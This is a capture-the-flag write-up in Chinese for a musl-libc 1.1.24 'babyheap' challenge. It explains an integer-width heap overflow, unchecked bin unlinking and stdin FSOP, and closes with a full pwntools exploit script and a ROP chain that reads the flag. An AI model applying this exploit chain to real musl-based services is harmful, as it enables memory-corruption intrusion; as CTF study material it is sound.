题目分析

题目的 dockerfile 如下

1
2
3
4
5
6
FROM ubuntu:20.04
ARG USER=ctf
COPY --chown=root:10000 babyheap flag /
RUN apt-get update && apt-get -y dist-upgrade && apt-get -y install musl && groupadd -g 10000 $USER && useradd -N -u 10000 -g 10000 $USER && chmod 750 /babyheap && chmod 440 /flag
USER 10000:10000
CMD ["/usr/bin/timeout", "-s9", "300", "/babyheap"]

musl 的版本为 1.1.24

题目中 chunk 的结构如下

1
2
3
4
5
struct chunk{
QWORD is_use;
QWORD size;
QWORD *content_ptr;
}

题目的大致逻辑如下

  • 初始 mmap 一个随机块作为 chunklist
  • seccompsystem,只能 orw

随后便是菜单,主要功能如下

  • add:calloc 一个任意 sizecontent 块并将 is_use 置为 1,将 sizecontent_ptr 赋值
  • update:输入一个 size 并根据 size 接收更新 content 内容
  • delete:freecontent_ptr 并清空所有位
  • show:打印 content 的内容

漏洞点在于 update 处,读入的 sizeint64 的,但是检查 size 是否大于申请时候的 size 的时候却是 int

Untitled 1.png

Untitled 2.png

这样便造成了一个堆溢出

musl 中的所有 bin 都是类似于 glibc 中的 small bin ,是双向链表的形式,所以 free 的时候都会有 libc 地址,可以通过堆块重叠泄漏 libc 。它申请的时候是按照 0x20 大小对齐(即 0x200x400x60),所以 prev_size 处一直都会有数据用于存放上一个块的大小(不管是不是 free 的)。在申请堆块的时候不会检查 prevnext 的指针,而且 bin 中拿出来块的时候也不会进行检查,所以我们可以使用如下逻辑任意写一个指针,进而可以任意写

1
2
*(uint64_t*)(prev + 2) = next
*(uint64_t*)(next + 3) = prev

然后由于 musl 中不存在 free_hook 等东西,所以可以使用 FSOP 进一步攻击,IOFILE 中什么检查也没有,所以我们可以

1
2
3
4
5
6
7
8
9
payload  = "/bin/sh\x00"    # stdin->flags
payload += 'X' * 32
payload += p64(0xdeadbeef) # stdin->wpos
payload += 'X' * 8
payload += p64(0xbeefdead) # stdin->wbase
payload += 'X' * 8
payload += p64(system) # stdin->write

edit(stdin, payload)

并且触发 exitgetshell

关于 exit 的触发,可以在 add 中找到一个 exit ,我们只需要传入一个大数即可触发

Untitled 3.png

但是由于本题有沙箱,所以需要找一个 gadget 来进一步利用,我这里找个是这个

Untitled 4.png

随后可以使用 ret 指令继续 orw 即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
# 1.1.24
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

def cmd(idx):
r.sendlineafter("Command: ",str(idx))

def add(size,content):
cmd(1)
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Content: ",content)

def edit(idx,size,content):
cmd(2)
r.sendlineafter("Index: ",str(idx))
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Content: ",content)

def free(idx):
cmd(3)
r.sendlineafter("Index: ",str(idx))

def show(idx):
cmd(4)
r.sendlineafter("Index: ",str(idx))

def dbg(cmd = ""):
gdb.attach(r,cmd)

DEBUG = 0

if DEBUG:
r = process("./babyheap")
else:
r = remote("111.186.59.11",11124)

libc = ELF("/usr/lib/x86_64-linux-musl/libc.so")

add(0x20,"0") # 0
add(0x20,"1") # 1
add(0x20,"2") # 2
add(0x20,"3") # 3
add(0x20,"4") # 4

size = 0x00000000ffffffff

payload = ""
payload += p64(0) * 6
payload += p64(0x41)
payload += p64(0x81)

edit(0,size,payload)

payload = ""
payload += p64(0) * 6
payload += p64(0x81)
payload += p64(0x41)

edit(2,size,payload)

free(1)

add(0x20,"1") # 1

show(2)

r.recvuntil("Chunk[2]: ")
libc_base = u64(r.recv(6).ljust(8,"\x00")) - 0xb0a58
r.recvuntil("5. Exit")
success("libc_base : " + hex(libc_base))

bins = libc_base + 0xb0dc0
system_addr = libc_base + libc.sym["system"]
stdin_addr = libc_base + 0xb0180
environ_addr = libc_base + libc.sym["environ"]
success("bins : " + hex(bins))
success("stdin_addr : " + hex(stdin_addr))
success("environ_addr : " + hex(environ_addr))
success("system_addr : " + hex(system_addr))

# *(uint64_t*)(prev + 2) = next
# *(uint64_t*)(next + 3) = prev

fake_next = bins - 0x10
fake_prev = stdin_addr - 0x10 - 0x30

payload = ""
payload += p64(fake_next)
payload += p64(fake_prev)

edit(2,size,payload)

add(0x20,"5") # 5

fake_next = stdin_addr - 0x10 - 0x30
fake_prev = stdin_addr - 0x10 - 0x30

payload = ""
payload += p64(fake_next)
payload += p64(fake_prev)

edit(5,0x10,payload)

add(0x20,"Ver") # 6
add(0x40,"Ver") # 7

gadget = libc_base + 0x78d0d

'''
#payload = "/bin/sh\x00" # stdin->flags
payload = p64(rdi) # stdin->flags
payload += 'X' * 0x20
payload += p64(0xdeadbeef) # stdin->wpos
payload += 'X' * 8
payload += p64(0xbeefdead) # stdin->wbase
payload += 'X' * 8
payload += p64(gadget) # stdin->write
'''

rbx = 0

rbp = 0
r12 = 0
r13 = 0
r14 = 0

r15 = 0xdeadbeef
rsp = stdin_addr - 0x30
rdx = libc_base + 0x15292 # ret

p_rsp_r = libc_base + 0x15e07
p_rdi_r = libc_base + 0x15291
p_rsi_r = libc_base + 0x1d829
p_rdx_r = libc_base + 0x2cdda
p_rax_r = libc_base + 0x16a16
syscall = libc_base + 0x23720

flag_str_addr = stdin_addr + 8 * 0x10 - 0x30
flag_addr = libc_base + 0xb0180 + 0x250
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

orw = flat([
p_rdi_r, flag_str_addr,
p_rsi_r, 0,
open_addr,
p_rdi_r, 3,
p_rsi_r, flag_addr,
p_rdx_r, 0x30,
read_addr,
p_rdi_r, 1,
p_rsi_r, flag_addr,
p_rdx_r, 0x30,
write_addr
])

addr = libc_base + 0xb1100

read_data = flat([
p_rdi_r, 0,
p_rsi_r, addr,
p_rdx_r, 0x100,
read_addr
])

payload = ""
payload += read_data
#payload += p64(rbx)
payload += p64(p_rsp_r)
payload += p64(addr)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(rsp)
payload += p64(rdx)
payload += 'X' * 8
payload += p64(gadget) # stdin->write
payload += "./flag\x00"

edit(7,size,payload)

#dbg("b *" + str(gadget))

cmd(1)
r.sendlineafter("Size: ",str(2**43-1))
sleep(0.5)
r.sendline(orw)

r.interactive()

Reference

musl

从一次 CTF 出题谈 musl libc 堆漏洞利用

借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)

musl历史源码下载